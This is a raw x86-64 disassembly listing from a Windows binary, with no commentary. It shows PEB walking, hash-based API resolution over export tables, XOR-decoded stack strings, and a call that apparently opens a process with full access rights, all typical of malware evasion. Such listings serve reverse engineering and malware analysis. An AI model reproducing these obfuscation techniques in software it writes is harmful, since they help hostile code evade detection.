lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021af0
cmp r8d, 0x700c7908
je 0x140021b1c
test r9d, r9d
jne 0x140021ad0
mov rax, qword [rax]
jmp 0x140021aa0
mov ecx, dword [rdi + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov ecx, 0x1fffff
call rax
mov rsi, rax
test rax, rax
jne 0x140021cb6
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x1400446c0]
lea rcx, [rbp + 0x38]
movdqu xmmword [rbp + 0x38], xmm0
mov ebx, eax
mov dword [rbp + 0x48], 0x425b043a
mov dword [rbp + 0x4c], 0x3e401c53
mov word [rbp + 0x50], 0x6d
mov byte [rbp + 0x52], 1
call fcn.14000fb90
mov edx, ebx
lea rcx, [rbp + 0x38]
call fcn.140011490
movabs rax, 0x38d0ade96e52efe2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x160], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x168], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x8e0], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rbp + 0x160]
mov qword [rbp + 0x8e8], rax
xorps xmm0, xmmword [rbp + 0x8e0]
movdqa xmmword [rbp + 0x160], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021c87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021c87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xb1dd8d22
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021c82
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021c60
cmp r8d, 0xb360448b
je 0x140021c8c
test r9d, r9d
jne 0x140021c40
mov rax, qword [rax]
jmp 0x140021c10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x160]
add rax, r10
call rax
mov eax, 0xfffffffe
jmp 0x140021534
mov rcx, rsi
call fcn.140020440
test al, al
jne 0x140021ed6
movdqa xmm0, xmmword [0x140044880]
lea rcx, [rbp + 0x18]
movdqu xmmword [rbp + 0x18], xmm0
mov dword [rbp + 0x28], 0xa02121e
mov dword [rbp + 0x2c], 0x500100a
mov dword [rbp + 0x30], 0xf1b1d13
mov dword [rbp + 0x34], 0x1006645
call fcn.140023340
lea rcx, [rbp + 0x18]
call fcn.140011490
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021d97
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021d97
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x163e81b7
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140021d92
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021d70
cmp r8d, 0x1a98f38b
je 0x140021d9c
test r9d, r9d
jne 0x140021d50
mov rax, qword [rax]
jmp 0x140021d20
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rsi
add rax, r10
call rax
movabs rax, 0x38d0ade96e52efe2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x140], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x148], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x8b0], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
movdqa xmm0, xmmword [rbp + 0x140]
mov qword [rbp + 0x8b8], rax
xorps xmm0, xmmword [rbp + 0x8b0]
movdqa xmmword [rbp + 0x140], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140021ea7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140021ea7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4c50f4ff
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140021ea2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140021e80
cmp r8d, 0x2c1d395e
je 0x140021eac
test r9d, r9d
jne 0x140021e60
mov rax, qword [rax]
jmp 0x140021e30
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x140]
add rax, r10
call rax
mov eax, 0xfffffffd
jmp 0x140021534
call fcn.1400231a0
lea rcx, [rbp - 0x28]
mov dword [rbp - 0x28], 0x2032350b
mov dword [rbp - 0x24], 0x3f21242a
mov dword [rbp - 0x20], 0x74773f39
mov dword [rbp - 0x1c], 0x1005675
call fcn.1400232f0
lea rcx, [rbp - 0x28]
call fcn.140011490
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x38], 0x22213102
mov dword [rbp - 0x34], 0x78323a3a
mov dword [rbp - 0x30], 0x537679
mov byte [rbp - 0x2c], 1
call fcn.14000fc00
lea rcx, [rbp - 0x38]
call fcn.140011490
lea rdx, [0x14004d100]
mov rcx, rsi
call fcn.14002a4f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x20
call fcn.1400275d0
mov ecx, 0x20
call fcn.1400275d0
mov rax, qword [0x1402c3808]
test rax, rax
jne 0x14002202b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022007
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022007
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xcd4e9c8e
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022002
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140021fe0
cmp r8d, 0xe02e2a91
je 0x14002200c
test r9d, r9d
jne 0x140021fc0
mov rax, qword [rax]
jmp 0x140021f90
mov edx, dword [rdi + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
mov qword [0x1402c3808], rax
mov ecx, 0x7d0
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400220c4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400220c4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x1be8fa07
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400220bf
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400220a0
cmp edx, 0x8c966947
je 0x1400220e9
test r8d, r8d
jne 0x140022080
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400220d9
cmp qword [rax + 0x30], r14
jne 0x140022050
mov r8, r14
mov ecx, 0xffffffff
call r8
jmp 0x140021537
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
mov ecx, 0xffffffff
add r8, r9
call r8
jmp 0x140021537
cmp dword [rbp + 0x470], r14d
jne 0x140022124
cmp dword [rbp + 0x460], r14d
je 0x14002159a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3